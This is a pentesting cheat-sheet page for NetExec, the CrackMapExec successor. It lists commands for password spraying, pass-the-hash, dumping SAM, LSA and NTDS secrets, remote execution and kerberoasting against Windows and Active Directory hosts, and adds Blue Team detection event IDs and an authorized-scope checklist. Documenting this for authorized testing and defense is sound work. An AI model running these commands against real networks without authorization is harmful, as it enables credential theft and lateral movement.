NetExec (CME)
NetExec (nxc, the successor to CrackMapExec) is the Swiss army knife of Active Directory and Windows network pentesting. It automates enumeration and credential spraying across multiple hosts and protocols (SMB, WinRM, LDAP, MSSQL, RDP, SSH). Essential in the Windows & AD area (see AD enumeration, Password spraying).
What it is
Section titled “What it is”NetExec is a maintained fork of CrackMapExec. It combines Impacket and other libraries to validate credentials and enumerate at scale across many hosts at once, with a module system (-M) that extends its functionality (BloodHound, LAPS, etc.).
What it is for
Section titled “What it is for”- Validate credentials en masse: where does this account work?
- Enumerate shares, users, policies, sessions, and group members.
- Execute commands, dump hashes/secrets, and run modules.
- Password spraying and pass-the-hash across network ranges.
Installation
Section titled “Installation”sudo apt install netexec # Kali/Parrot (recent)# or with pipx (recommended for the latest version)pipx install git+https://github.com/Pennyw0rth/NetExecnxc --versionBasic usage (SMB)
Section titled “Basic usage (SMB)”nxc smb 10.10.10.0/24 # sweep: hosts, SMB signing, versionnxc smb 10.10.10.10 -u user -p 'Password123' # validate credentialsnxc smb 10.10.10.10 -u user -p 'Password123' --shares # list sharesnxc smb 10.10.10.10 -u user -p 'Password123' --users # domain usersnxc smb 10.10.10.10 -u user -p 'Password123' --pass-pol # password policyThe color code shows the result: [+] valid, (Pwn3d!) means administrative access on that host.
Advanced usage
Section titled “Advanced usage”Pass-the-hash and spraying (see Password spraying):
# pass-the-hash (NT hash instead of a password)nxc smb 10.10.10.10 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:<NT># spraying: one password against many users (--continue-on-success)nxc smb 10.10.10.10 -u users.txt -p 'Spring2025!' --continue-on-success# local authentication (SAM) instead of domainnxc smb 10.10.10.10 -u Administrator -p 'pass' --local-authCredential dumping (requires privileges, see Credential Dumping):
nxc smb 10.10.10.10 -u admin -p 'pass' --sam # local hashes (SAM)nxc smb 10.10.10.10 -u admin -p 'pass' --lsa # LSA secretsnxc smb dc01 -u admin -p 'pass' --ntds # NTDS.dit (DCSync) on the DCCommand execution and other protocols:
nxc smb 10.10.10.10 -u admin -p 'pass' -x 'whoami' # command via cmdnxc smb 10.10.10.10 -u admin -p 'pass' -X 'whoami' # command via PowerShellnxc winrm 10.10.10.10 -u admin -p 'pass' -x 'hostname' # WinRMnxc ldap dc01 -u user -p 'pass' --kerberoasting kerb.txt # extract kerberoastable TGSnxc ldap dc01 -u user -p 'pass' --asreproast asrep.txt # users without preauthModules:
nxc smb host -L # list available modulesnxc smb host -u user -p 'pass' -M spider_plus # example moduleTricks / workflow
Section titled “Tricks / workflow”flowchart TD
A[Credential or hash] --> B[nxc smb range --continue-on-success]
B --> C{Result}
C -->|Pwn3d| D[--sam / --lsa / --ntds]
C -->|Valid user| E[--shares --users --pass-pol]
A --> F[nxc ldap --kerberoasting / --asreproast]
D --> G[Hashes -> cracking / lateral]
G --> H[Pass-the-hash to new hosts]
- Sweep first without credentials to see SMB signing and vulnerable versions.
--continue-on-successis key in spraying so it doesn’t stop at the first hit.- Mind account lockout: check
--pass-polbefore spraying passwords. - NetExec keeps a database (
~/.nxc) of discovered credentials and hosts.
Detection (Blue Team)
Section titled “Detection (Blue Team)”- Mass authentication generates many 4624/4625 events (successful/failed logon) in a short time: a clear spraying pattern.
- Remote execution (
-x) creates services like psexec (Event ID 7045) and spawns anomalous child processes (detectable with Sysmon, see Sysmon). --ntdsperforms a DCSync replication: watch Event ID 4662 with directory-replication rights from non-DC hosts.
Checklist
Section titled “Checklist”- Range and credentials within authorized scope.
- Initial sweep without credentials (SMB signing, versions).
- Password policy reviewed before spraying.
-
--continue-on-successenabled when spraying. - Credential dumping only with privileges and explicit permission.